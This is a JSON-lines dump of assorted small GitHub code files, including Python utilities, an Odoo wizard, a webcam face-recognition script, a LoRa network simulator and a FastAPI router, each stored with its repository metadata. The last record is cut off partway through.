+{"seq_id":"3922354283","text":"\n\"\"\"Get lines that match the regular expression and also print the lines that match from one or more\nfile names as argument.\nDemonstration of pattern matching\"\"\"\n\nfrom glob import glob\nimport re\nfrom fileinput import input, filelineno, filename # stream readers\n\nclass GrepMe:\n def __init__(self, pattern, *args):\n self.pattern = pattern\n self.files = args\n self.__do_match()\n\n def __do_match(self):\n for line in input(self.files):\n if re.search(self.pattern, line, re.IGNORECASE):\n print('{}:{}:{}'.format(filename(), filelineno(), line), end='') # print by default prints new line so use end='' to omit that new line\n\n\nif __name__ == '__main__':\n GrepMe('class', *glob('*.py'))","repo_name":"BhagyeshDudhediya/PythonPrograms","sub_path":"advanced-python/grepme.py","file_name":"grepme.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20307881179","text":"from math import sqrt\n\nN = int(input())\nt = [True for _ in range(N)]\n\nt[0] = False\nt[1] = False\n\nfor i in range(sqrt(N) + 1):\n if t[i]:\n for k in range(i * i, N, i):\n t[k] = False\n\nlicznik = 0\nfor n in t:\n if n:\n licznik += 1\n","repo_name":"JanKaczmarski/agh-wdi","sub_path":"zestaw-3/zadanie3-3-cw.py","file_name":"zadanie3-3-cw.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10304427703","text":"from odoo import models, fields, api, _\n\n\nclass ProductCotado(models.TransientModel):\n _name = 'quoted.product'\n\n # CAMPOS PRODUTO PRINCIPAL\n product_id = fields.Many2one(comodel_name='product.product')\n product_brand_ids = fields.Many2many(related='product_id.product_template_attribute_value_ids')\n product_fipe_ids = fields.Many2many(related='product_id.fipe_ids')\n product_qty = fields.Float(related='product_id.virtual_available')\n product_type = fields.Selection(related='product_id.type')\n product_price = fields.Float(related='product_id.lst_price')\n product_image = fields.Binary(related='product_id.image_1920')\n product_more_images = fields.One2many(related='product_id.product_template_image_ids')\n product_barcode = fields.Char(related='product_id.barcode')\n product_accessories = fields.Many2many(related='product_id.accessory_product_ids', string='Acessórios')\n\n #RELATED'S DE 'product_fipe_ids'\n nome = fields.Char(related=\"product_id.fipe_ids.name\")\n marca = fields.Char(related=\"product_id.fipe_ids.marca\")\n ano = fields.Integer(related=\"product_id.fipe_ids.ano\")\n codigo_fipe = fields.Char(related=\"product_id.fipe_ids.codigo_fipe\")\n\n # INFORMAÇÕES DE CLIENTE\n partner_id = fields.Many2one(comodel_name='res.partner', string='Cliente')\n expire_date = fields.Date(string='Data de Vencimento')\n payment_conditions = fields.Many2one(comodel_name='account.payment.term')\n\n # PASSAGEM DA LISTA DE COTACAO PELOS WIZARDS\n quote_list = fields.Many2many(\n comodel_name=\"product.product\",\n relation=\"cotacao_prod_rel\",\n )\n\n # COTAÇÕES DESSE PRODUTO FEITAS PELO CLIENTE SELECIONADO\n quotes_by_partner = fields.Many2many(\n comodel_name='sale.order'\n )\n\n # TODAS AS COTAÇÕES DESSE PRODUTO\n product_quotes = fields.Many2many(\n comodel_name='sale.order',\n relation='quotes_product_quotes_rel'\n )\n\n # QUANTIDADE DESEJADA\n wish_qty = fields.Float(\n string='Quantidade desejada',\n )\n\n # POPULAR OS CAMPOS DE COTAÇÃO ANTERIORES\n @api.onchange('product_id')\n def quotesbypartner(self):\n if self.product_id:\n sales_ids = []\n sales_prod_ids = []\n sales = self.env['sale.order'].search([('partner_id.id', '=', self.partner_id.id)])\n sales_prod = self.env['sale.order'].search([])\n for prePed in sales:\n for line in prePed.order_line:\n if line.product_id == self.product_id:\n sales_ids.append(prePed.id)\n for prodQ in sales_prod:\n for line in prodQ.order_line:\n if line.product_id == self.product_id:\n sales_prod_ids.append(prodQ.id)\n self.quotes_by_partner = sales_ids\n self.product_quotes = sales_prod_ids\n\n # MOSTRAR INFORMAÇÕES DO PRODUTO E ENVIAR PRODUTO PARA A LISTA DE COTAÇÃO\n def showproductinformation(self):\n quotelist = []\n\n for quote in self.quote_list.ids:\n quotelist.append(quote)\n\n quotelist.append(self.product_id.id)\n\n ctx = dict()\n ctx.update({\n 'default_partner_id': self.partner_id.id,\n 'default_expire_date': self.expire_date,\n 'default_payment_conditions': self.payment_conditions.id,\n 'default_product_id': self.product_id.id,\n 'default_wish_qty': self.wish_qty,\n 'default_quote_list': quotelist\n })\n return {\n 'type': 'ir.actions.act_window',\n 'name': 'Preço e mais Informações',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'quoted.product.info',\n 'views': [[self.env.ref(\"cotacoes.product_info_form_view\").id, 'form']],\n 'context': ctx,\n 'target': 'new'\n }\n\n # CLIENTE DESISTE DO PRODUTO\n def cancela(self):\n ctx = dict()\n ctx.update({\n 'default_partner_id': self.partner_id.id,\n 'default_expire_date': self.expire_date,\n 'default_payment_conditions': self.payment_conditions.id,\n 'default_quote_list': self.quote_list.ids\n })\n return {\n 'type': 'ir.actions.act_window',\n 'name': 'Pesquisa de Produto',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'product.search',\n 'views': [[self.env.ref(\"cotacoes.pesquisa_de_produto_form_view\").id, 'form']],\n 'context': ctx,\n 'target': 'new'\n }\n","repo_name":"feliperocha00/cotacoes","sub_path":"wizard/product_cotado.py","file_name":"product_cotado.py","file_ext":"py","file_size_in_byte":4607,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"40239608340","text":"\nimport cv2\nimport numpy as np\nfrom PIL import Image\n\ncap = cv2.VideoCapture(0)\ncap.set(3, 640)\ncap.set(4, 480)\n\nface_cascade = cv2.CascadeClassifier('/Users/daadhiwalebaba/opencv/data/haarcascades_cuda/haarcascade_frontalface_default.xml')\neye_cascade = cv2.CascadeClassifier('/Users/daadhiwalebaba/opencv/data/haarcascades_cuda/haarcascade_eye.xml.xml')\n\nrec = cv2.face.LBPHFaceRecognizer_create();\nrec.read('/Users/daadhiwalebaba/recognizer//trainingData.yml')\n\nid = 0\n\nfont = cv2.FONT_HERSHEY_SIMPLEX\n\nwhile(True):\n\tret, frame = cap.read()\n\tgray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\tfaces = face_cascade.detectMultiScale(gray, 1.1, 10)\n\tprint('Number of Faces Found:',len(faces))\n\tfor (x,y,w,h) in faces:\n\t\tcv2.rectangle(frame,(x,y),(x+w,y+h),(0,255,255),1)\n\t\troi_gray = gray[y:y+h, x:x+w]\n\t\troi_color = frame[y:y+h, x:x+w]\n\t\tid, conf = rec.predict(gray[y:y+h, x:x+w])\n\t\tprint(\"CONFIDENCE is:\",conf)\n\t\tif (conf>50):\n\t\t\tif (id==0):\n\t\t\t\tid = 'Abhishek Rana'\n\t\t\telif (id==1):\n\t\t\t\tid = 'Nikunj Sharma'\n\t\t\telif (id==2):\n\t\t\t\tid = 'Shreya Singh'\n\t\telif (conf<50):\n\t\t\tid = 'Unkown ID'\n\t\tcv2.putText(frame, str(id), (x,y+h), font, 0.5, (255,255,255), 1, cv2.LINE_AA);\n\tcv2.imshow('Webcam Facial Recognition',frame)\n\tif cv2.waitKey(1) & 0xFF == ord('q'):\n\t\tbreak\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"daadhiwalebaba/Face-Detection-and-Recognition","sub_path":"detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"9639680195","text":"import xml.etree.ElementTree as ET\n\ndef loadDict(wordVectorFile):\n wordVectors = {}\n with open(wordVectorFile, 'r') as f:\n for line in f:\n cleanLine = line.strip()\n word = cleanLine.split(\" \")[0]\n wordVectors[word] = cleanLine[len(word):]\n return wordVectors\ndef generateInput(wordVectors, corpus, contxtWordsVector, aspectWordsVector, labels, positions, sentLengths):\n contxtWordsF = open(contxtWordsVector, 'w')\n aspectWordsF = open(aspectWordsVector, 'w')\n labelsF = open(labels, 'w')\n positionsF = open(positions, 'w')\n sentLengthsF = open(sentLengths, 'w')\n\n tree = ET.parse(corpus)\n root = tree.getroot()\n for sentenceInfo in root:\n pass\n #text\n sentence = sentenceInfo[0].text.strip()\n sentenceWords = sentence.split(\" \")\n sentLength = len(sentenceWords)\n positions = [i + 1 for i in range(sentLength)]\n #aspect Terms \"{'polarity': 'neutral', 'to': '45', 'term': 'cord', 'from': '41'}\"\n aspectTerms = []\n for aspectInfo in sentenceInfo[1]:\n aspectTerms.append(aspectInfo.attirb)\n sent = sent[:2] + sent[5 + 1:]\ncorpusDir = '/home/laboratory/memoryCorpus/'\nwordVectorDir = corpusDir + 'glove_300d.txt'\ncorpus = corpusDir + 'Laptop_Train_v2.xml'\ncontxtWordsVector = corpusDir + 'contxtWords'\naspectWordsVector = corpusDir + 'aspectWords'\nlabels = corpusDir + 'labels'\npositions = corpusDir + 'positions'\nsentLengths = corpusDir + 'sentLengths'\n\nwordVectors = loadDict(wordVectorDir)\ngenerateInput(wordVectors, corpus, contxtWordsVector, aspectWordsVector, labels, positions, sentLengths)","repo_name":"zhuango/python","sub_path":"pythonLearning/xml/xmlparser.py","file_name":"xmlparser.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"29"} +{"seq_id":"12151828245","text":"import psycopg2\nfrom configparser import ConfigParser\n\nclass Database():\n\n def __init__(self, name, configuration_file = \"database.ini\"):\n parser = ConfigParser()\n parser.read(configuration_file)\n db_params = {}\n if parser.has_section(name):\n for key, value in parser.items(name):\n db_params[key] = value\n else:\n db_params = {\n \"host\": \"localhost\",\n \"database\": name,\n \"user\": \"postgres\"\n }\n self.connection = psycopg2.connect(**db_params)\n self.cursor = self.connection.cursor()\n\n def query(self, sql, data=None):\n self.cursor.execute(sql, data)\n\n def copy_from(self, file, table):\n with open(file, \"r\") as csv_file:\n self.cursor.copy_expert(\n \"COPY {} FROM STDIN CSV HEADER\".format(table),\n csv_file\n )\n\n def close(self):\n self.cursor.close()\n self.connection.close()\n\n def __enter__(self):\n return self\n\n def __exit__(self, exception_type, exception_value, exception_traceback):\n self.close()\n\n def commit(self):\n self.connection.commit()","repo_name":"trevorspreadbury/state-politics","sub_path":"postgres.py","file_name":"postgres.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37267887409","text":"\"\"\"https://adventofcode.com/2021/day/4\"\"\"\n\nfrom typing import List, Tuple\n\nimport numpy as np\n\nBOARD_DIMS = 5\n\nBoard = np.array\nBoards = List[np.array]\nOrder = List[int]\n\n\ndef parse_data(data: list) -> Tuple[Order, Boards]:\n numbers = [int(x) for x in data[0].split(\",\")]\n boards = np.loadtxt(data[1:], int).reshape(-1, 5, 5)\n return numbers, boards\n\n\ndef mark_number(boards: Boards, number: int) -> Boards:\n return [np.where(board == number, 0, board) for board in boards]\n\n\ndef has_won(board: Board) -> bool:\n return any(np.sum(board, axis=0) == 0) or any(np.sum(board, axis=1) == 0)\n\n\ndef find_first_winner(boards: Boards) -> int:\n for idx, board in enumerate(boards):\n if has_won(board):\n return idx\n return None\n\n\ndef bingo(numbers: Order, boards: Boards, last_wins: bool = False) -> Tuple[int, Board]:\n winners = []\n for number in numbers:\n boards = mark_number(boards, number)\n finished = find_first_winner(boards)\n if finished is not None:\n # why aren't the boards removed ???\n winners.append((number, boards.pop(finished)))\n if not boards:\n break\n number, winner = winners[0] if not last_wins else winners[-1]\n return number, winner\n\n\ndef score(number: int, board: Board) -> int:\n return np.sum(board) * number\n\n\ndef solve(part: int, data: list) -> int:\n if part == 1:\n return score(*bingo(*parse_data(data)))\n elif part == 2:\n return score(*bingo(*parse_data(data), last_wins=True))\n else:\n raise NotImplementedError\n","repo_name":"anderslindho/aoc2021","sub_path":"aoc2021/day4/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19907899777","text":"from django.urls import path\nfrom .views import Oneteam_List, Oneteam_Create, Oneteam_Detail, Oneteam_Delete, matrixfunk, analysis, UserCsvDownloadView, barfunk, Oneteam_Table, Oneteam_Update\n\nurlpatterns = [\n path('list/', Oneteam_List.as_view(), name='list'),\n path('create/', Oneteam_Create.as_view(), name='create'),\n path('detail/<int:pk>/', Oneteam_Detail.as_view(), name='detail'),\n path('detail/<int:pk>/matrix/', matrixfunk, name='plot'),\n path('detail/<int:pk>/aa/', UserCsvDownloadView.as_view(), name='plan'),\n path('table/<int:pk>', analysis, name='table'),\n path('list/bar/', barfunk, name='bar'),\n path('delete/<int:pk>', Oneteam_Delete.as_view(), name='delete'),\n path('update/<int:pk>', Oneteam_Update.as_view(), name='update'),\n]\n\n\n\n","repo_name":"tomohiko9090/Schedule-Revolution-App","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"37574563469","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Mar 18 19:00:25 2022\r\n\r\n@author: cesar\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.patches as patches\r\nfrom PIL import Image\r\n\r\nim = Image.open('Lenna.png')\r\n\r\nplt.imshow(im)\r\n\r\nax = plt.gca()\r\n\r\nrect = patches.Rectangle((0,0),\r\n 510,\r\n 510,\r\n linewidth=5,\r\n edgecolor='cyan',\r\n fill = False)\r\nax2 = plt.gca()\r\n\r\nfor i in range(0,300,20):\r\n rect2 = patches.Rectangle((0,i),\r\n 510,\r\n 10,\r\n facecolor='red',\r\n fill = True)\r\n #ax2.add_patch(rect2)\r\n \r\n ax3 = plt.gca()\r\n\r\nfor j in range(300,510,20):\r\n rect3 = patches.Rectangle((0,j),\r\n 510,\r\n 10,\r\n facecolor='blue',\r\n fill = True)\r\n #ax3.add_patch(rect3)\r\n\r\nax.add_patch(rect) #borde\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\nplt.show()","repo_name":"FourRam244/Procesamiento_de_Imagenes","sub_path":"bordesP.py","file_name":"bordesP.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28643209497","text":"import math\nimport glfw\nfrom OpenGL.GL import *\nimport numpy as np\n\ndef render():\n glClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT)\n glEnable(GL_DEPTH_TEST)\n\n # set the current matrix to the identity matrix\n glLoadIdentity()\n\n # draw global frame\n drawFrame()\n glColor3ub(255, 255, 255)\n drawTriangle()\n\n glTranslatef(.6, .0, 0)\n glRotatef(30, 0, 0, 1)\n\n drawFrame()\n \n glColor3ub(0, 0, 255)\n drawTriangle()\n\n\ndef drawFrame():\n glBegin(GL_LINES)\n glColor3ub(255, 0, 0)\n glVertex2fv(np.array([0.,0.]))\n glVertex2fv(np.array([1.,0.]))\n glColor3ub(0, 255, 0)\n glVertex2fv(np.array([0.,0.]))\n glVertex2fv(np.array([0.,1.]))\n glEnd()\n \ndef drawTriangle():\n glBegin(GL_TRIANGLES)\n glVertex2fv(np.array([0.,.5]))\n glVertex2fv(np.array([0.,0.]))\n glVertex2fv(np.array([.5,0.]))\n glEnd()\n\n\ndef main():\n if not glfw.init():\n return\n window = glfw.create_window(480,480, '2018008331', None,None)\n if not window:\n glfw.terminate()\n return\n glfw.make_context_current(window)\n\n while not glfw.window_should_close(window):\n glfw.poll_events()\n render()\n glfw.swap_buffers(window)\n\n glfw.terminate()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"kong430/CSE-Assignment","sub_path":"computer_graphics/LabAssignment5/1/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"72118373517","text":"idade = int(input())\nanos = idade // 365\nr = idade % 365\n\nmeses = r//30\nr = r % 30\n\ndias = r//1\nr = r % 1\n\nprint(anos, 'ano(s)')\nprint(meses, 'mes(es)')\nprint(dias, 'dia(s)')\n","repo_name":"BrunoIaneczek/Estudo-na-linguagem-Python","sub_path":"URI_online/Problema_1020_idade_em_dias.py","file_name":"Problema_1020_idade_em_dias.py","file_ext":"py","file_size_in_byte":175,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"17744480721","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 26 10:23:18 2018\n\n@problem: leetcode 661. Image Smoother\n\n@author: shengchaohua\n\"\"\"\n\nclass Solution:\n def imageSmoother(self, M):\n \"\"\"\n :type M: List[List[int]]\n :rtype: List[List[int]]\n \"\"\"\n R, C = len(M), len(M[0])\n ans = [[0] * C for _ in M]\n\n for r in range(R):\n for c in range(C):\n count = 0\n for nr in (r-1, r, r+1):\n for nc in (c-1, c, c+1):\n if 0 <= nr < R and 0 <= nc < C:\n ans[r][c] += M[nr][nc]\n count += 1\n ans[r][c] //= count\n\n return ans\n \n\ndef test():\n s = Solution()\n M = [[1,1,1],\n [1,0,1],\n [1,1,1]]\n print(s.imageSmoother(M))\n \n\nif __name__ == '__main__':\n test()\n ","repo_name":"shengchaohua/leetcode-solution","sub_path":"leetcode solution in python/ImageSmoother.py","file_name":"ImageSmoother.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"13522993873","text":"# rename new vp, vs, rho in optimizer/update_models\r\n\r\nimport os\r\nfrom __Parameters__ import WorkDir, ProcDir\r\nfrom __Parameters__ import mod, step_range\r\n\r\n\r\n############################################\r\noptimize_dir = ProcDir + '/optimize/' + mod\r\nupdate_dir = optimize_dir + '/update_models'\r\n############################################\r\nos.system('seq %s > %s/tmp.dat' % (step_range, WorkDir))\r\n\r\nfor step in open('%s/tmp.dat' % WorkDir, 'r'):\r\n step = step.rstrip('\\n')\r\n\r\n # Change the name of new vp, vs and rho files\r\n tmpdir = update_dir + '/OUTPUT_MODEL_slen' + step\r\n if os.path.exists(tmpdir + '/proc000000_vs_new.bin'):\r\n os.system(\"rename vp_new.bin vp.bin %s/*vp_new.bin\" % (tmpdir))\r\n os.system(\"rename vs_new.bin vs.bin %s/*vs_new.bin\" % (tmpdir))\r\n os.system(\"rename rho_new.bin rho.bin %s/*rho_new.bin\" % (tmpdir))\r\n else:\r\n print(\"new vs vp and rho dont't exist\")\r\n\r\nos.system('rm -rf %s/tmp.dat' % WorkDir)","repo_name":"YANGZHAO233/Ambient-Noise-Adjoint-Tomography","sub_path":"ANAT/11_RenamePara.py","file_name":"11_RenamePara.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"29"} +{"seq_id":"101930116","text":"import datetime\nimport os\n\nfrom google.protobuf import text_format # pylint: disable=import-error\n\nimport metadata_pb2 # pylint: disable=import-error\n\nANDROID_TOP = os.environ.get('ANDROID_BUILD_TOP', os.getcwd())\nEXTERNAL_PATH = os.path.join(ANDROID_TOP, 'external/')\n\nMETADATA_FILENAME = 'METADATA'\n\n\ndef get_absolute_project_path(project_path):\n \"\"\"Gets absolute path of a project.\n\n Path resolution starts from external/.\n \"\"\"\n return os.path.join(EXTERNAL_PATH, project_path)\n\n\ndef get_metadata_path(project_path):\n \"\"\"Gets the absolute path of METADATA for a project.\"\"\"\n return os.path.join(\n get_absolute_project_path(project_path), METADATA_FILENAME)\n\n\ndef get_relative_project_path(project_path):\n \"\"\"Gets the relative path of a project starting from external/.\"\"\"\n project_path = get_absolute_project_path(project_path)\n return os.path.relpath(project_path, EXTERNAL_PATH)\n\n\ndef read_metadata(proj_path):\n \"\"\"Reads and parses METADATA file for a project.\n\n Args:\n proj_path: Path to the project.\n\n Returns:\n Parsed MetaData proto.\n\n Raises:\n text_format.ParseError: Occurred when the METADATA file is invalid.\n FileNotFoundError: Occurred when METADATA file is not found.\n \"\"\"\n\n with open(get_metadata_path(proj_path), 'r') as metadata_file:\n metadata = metadata_file.read()\n return text_format.Parse(metadata, metadata_pb2.MetaData())\n\n\ndef write_metadata(proj_path, metadata):\n \"\"\"Writes updated METADATA file for a project.\n\n This function updates last_upgrade_date in metadata and write to the project\n directory.\n\n Args:\n proj_path: Path to the project.\n metadata: The MetaData proto to write.\n \"\"\"\n\n date = metadata.third_party.last_upgrade_date\n now = datetime.datetime.now()\n date.year = now.year\n date.month = now.month\n date.day = now.day\n text_metadata = text_format.MessageToString(metadata)\n with open(get_metadata_path(proj_path), 'w') as metadata_file:\n metadata_file.write(text_metadata)\n","repo_name":"khadas/android_tools_external_updater","sub_path":"fileutils.py","file_name":"fileutils.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4654278915","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom ..registry import LOSSES\nfrom .utils import weighted_loss\n\n\n@weighted_loss\ndef color_regression_loss(color_pred, color_target):\n loss = F.mse_loss(color_pred, color_target)\n return loss\n\n\n@LOSSES.register_module\nclass ColorLoss(nn.Module):\n\n def __init__(self, reduction='mean', loss_weight=1.0):\n super().__init__()\n self.reduction = reduction\n self.loss_weight = loss_weight\n\n def forward(self, pred, target, weight=None, avg_factor=None):\n loss = self.loss_weight * color_regression_loss(\n pred,\n target,\n weight,\n reduction=self.reduction,\n avg_factor=avg_factor)\n return loss\n","repo_name":"Bulbbbb/security-dataset-color","sub_path":"mmdet/models/losses/color_regression_loss.py","file_name":"color_regression_loss.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"82543212","text":"import requests\nfrom ..models.BalanceToken import BalanceToken\nfrom fastapi import APIRouter\nfrom pydantic import BaseModel\n\nrouter = APIRouter(prefix=\"/baln\")\n\n# Initialize BalanceToken class.\nbalance_token = BalanceToken()\n\n# Set total supply and staked supply.\nbaln_total_supply = balance_token.get_baln_total_supply()\nbaln_circulating_supply = balance_token.get_baln_circulating_supply()\nbaln_staked_supply = balance_token.get_baln_staked_supply()\n\n\nclass BalnHolders(BaseModel):\n baln_holders: str\n\n\nclass BalnMarketCap(BaseModel):\n baln_market_cap: str\n\n\nclass BalnStake(BaseModel):\n baln_percent_staked_of_circulating: str\n baln_percent_staked_of_total: str\n\n\nclass BalnSupply(BaseModel):\n baln_circulating_supply: str\n baln_staked_supply: str\n baln_total_supply: str\n\n\n@router.get(\"/holders/\", response_model=BalnHolders)\nasync def get_baln_holders():\n r = requests.get(\n \"https://tracker.icon.foundation/v3/token/summary?contractAddr=cxf61cd5a45dc9f91c15aa65831a30a90d59a09619\").json() # noqa 503\n baln_holders = r[\"data\"][\"holders\"]\n return {\"baln_holders\": baln_holders}\n\n\n@router.get(\"/market-cap/\", response_model=BalnMarketCap)\nasync def get_baln_market_cap():\n \"\"\"\n Returns the market cap of Balance Token in USD.\n \"\"\"\n baln_market_cap = balance_token.get_baln_market_cap()\n return {\"baln_market_cap\": baln_market_cap}\n\n\n@router.get(\"/stake/\", response_model=BalnStake)\nasync def get_balance_token_stake():\n baln_percent_staked_of_total = baln_staked_supply / baln_total_supply\n baln_percent_staked_of_circulating = baln_staked_supply / (baln_total_supply * 0.9) # noqa 503\n return {\n \"baln_percent_staked_of_circulating\": baln_percent_staked_of_circulating, # noqa 503\n \"baln_percent_staked_of_total\": baln_percent_staked_of_total\n }\n\n\n@router.get(\"/supply/\", response_model=BalnSupply)\nasync def get_balance_token_supply():\n return {\n \"baln_circulating_supply\": baln_circulating_supply,\n \"baln_staked_supply\": baln_staked_supply,\n \"baln_total_supply\": baln_total_supply,\n }\n","repo_name":"nneessen/balanced-stats-api","sub_path":"app/routers/balance_token.py","file_name":"balance_token.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4071651808","text":"import datetime\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport simpy\n\nimport PropagationModel\nfrom AirInterface import AirInterface\nfrom EnergyProfile import EnergyProfile\nfrom Gateway import Gateway\nfrom Global import Config\nfrom LoRaParameters import LoRaParameters\nfrom Location import Location\nfrom Node import Node\nfrom SNRModel import SNRModel\n\n\ndef plot_time(_env):\n while True:\n print('.', end='', flush=True)\n yield _env.timeout(np.round(Config.SIMULATION_TIME / 10))\n\n\nmean_energy_per_bit = dict()\nmean_unique_packets_sent = dict()\nmean_packets_sent = dict()\n\nnum_nodes = 100\n\nmean_energy_per_bit[num_nodes] = 0\nprint('{} nodes in network'.format(num_nodes))\n\ntx_power_mW = {2: 91.8, 5: 95.9, 8: 101.6, 11: 120.8, 14: 146.5} # measured TX power for each possible TP\nmiddle = np.round(Config.CELL_SIZE / 2)\ngateway_location = Location(x=middle, y=middle, indoor=False)\n# plt.scatter(middle, middle, color='red')\nenv = simpy.Environment()\ngateway = Gateway(env, gateway_location)\nnodes = []\nair_interface = AirInterface(gateway, PropagationModel.LogShadow(), SNRModel(), env)\n\nfor node_id in range(num_nodes):\n location = Location(min=0, max=Config.CELL_SIZE, indoor=False)\n # location = Location(x=60, y=60, indoor=True)\n # TODO check if random location is more than 1m from gateway\n # node = Node(id, EnergyProfile())\n energy_profile = EnergyProfile(5.7e-3, 15, tx_power_mW,\n rx_power={'pre_mW': 8.2, 'pre_ms': 3.4, 'rx_lna_on_mW': 39, 'rx_lna_off_mW': 34,\n 'post_mW': 8.3, 'post_ms': 10.7})\n lora_param = LoRaParameters(freq=np.random.choice(LoRaParameters.DEFAULT_CHANNELS),\n sf=np.random.choice(LoRaParameters.SPREADING_FACTORS),\n bw=125, cr=5, crc_enabled=1, de_enabled=0, header_implicit_mode=0, tp=14)\n node = Node(node_id, energy_profile, lora_param, 1000*60*60, process_time=5, adr=True, location=location,\n base_station=gateway, env=env, payload_size=16, air_interface=air_interface)\n nodes.append(node)\n env.process(node.run())\n # plt.scatter(location.x, location.y, color='blue')\n\n# axes = plt.gca()\n# axes.set_xlim([0, Config.CELL_SIZE])\n# axes.set_ylim([0, Config.CELL_SIZE])\n# plt.show()\nenv.process(plot_time(env))\n\nd = datetime.timedelta(milliseconds=Config.SIMULATION_TIME)\nprint('Running simulator for {}.'.format(d))\nenv.run(until=Config.SIMULATION_TIME)\nmean_energy_per_bit[num_nodes] = 0\nmean_unique_packets_sent[num_nodes] = 0\nmean_packets_sent[num_nodes] = 0\n\nplt.figure(1)\nfor node in nodes:\n node.log()\n measurements = air_interface.get_prop_measurements(node.id)\n node.plot(measurements)\n mean_energy_per_bit[num_nodes] += node.energy_per_bit()\n mean_unique_packets_sent[num_nodes] += node.num_unique_packets_sent\n mean_packets_sent[num_nodes] += node.packets_sent\n\n print('E/bit {}'.format(node.energy_per_bit()))\n plt.subplot(3, 1, 1)\n plt.scatter(node.id, node.energy_per_bit(), label='Mean energy per bit')\n\n print('Unique packets {}'.format(node.num_unique_packets_sent))\n print('Total packets {}'.format(node.packets_sent))\n plt.subplot(3, 1, 2)\n plt.scatter(node.id, node.num_unique_packets_sent, label='Mean unique packets sent')\n\n print('Collided packets {}'.format(node.num_collided))\n print('Num No downlink packets {}'.format(node.num_no_downlink))\n print('Num retransmission packets {}'.format(node.num_retransmission))\n plt.subplot(3, 1, 3)\n plt.scatter(node.id, node.num_collided, label='Collided')\n\n\n # print('E/bit {}'.format(energy_per_bit))\n\nmean_energy_per_bit[num_nodes] = mean_energy_per_bit[num_nodes] / num_nodes\nmean_unique_packets_sent[num_nodes] = mean_unique_packets_sent[num_nodes] / num_nodes\nmean_packets_sent[num_nodes] = mean_packets_sent[num_nodes] / num_nodes\n\nplt.figure(2)\nprint('E/bit {}'.format(mean_energy_per_bit[num_nodes]))\nplt.subplot(3, 1, 1)\nplt.scatter(num_nodes, mean_energy_per_bit[num_nodes], label='Mean energy per bit')\n\nprint('Unique packets {}'.format(mean_unique_packets_sent[num_nodes]))\nplt.subplot(3, 1, 2)\nplt.scatter(num_nodes, mean_unique_packets_sent[num_nodes], label='Mean unique packets sent')\n\nprint('Total packets {}'.format(mean_packets_sent[num_nodes]))\nplt.subplot(3, 1, 3)\nplt.scatter(num_nodes, mean_packets_sent[num_nodes], label='Mean packets sent')\n\nplt.show()\n\nair_interface.log()\ngateway.log()","repo_name":"LeonKgz/final_year","sub_path":"Plots/ExpEnPerBitFixedNumNodes.py","file_name":"ExpEnPerBitFixedNumNodes.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"69875002319","text":"import load_data\nimport numpy as np\nfrom sklearn.metrics import accuracy_score, classification_report, confusion_matrix\nfrom sklearn.metrics import f1_score, precision_score, recall_score\n\n# Loads data from file and returns generator for cross-validation\ndef setup(filename, num_slices, k=10):\n split_dataset = load_data.split_data_kfold(filename, num_slices, k)\n cross_val_generator = load_data.validation_cases(split_dataset)\n return cross_val_generator\n\n\n# Calculates metrics based on predicted and actual labels using global true positive,\n# false negative, and false positive counts where applicable\ndef calc_metrics(Y_truth, Y_predict):\n acc = accuracy_score(Y_truth, Y_predict)\n f1 = f1_score(Y_truth, Y_predict, average='macro')\n prec = precision_score(Y_truth, Y_predict, average='macro')\n rec = recall_score(Y_truth, Y_predict, average='macro')\n f1_w = f1_score(Y_truth, Y_predict, 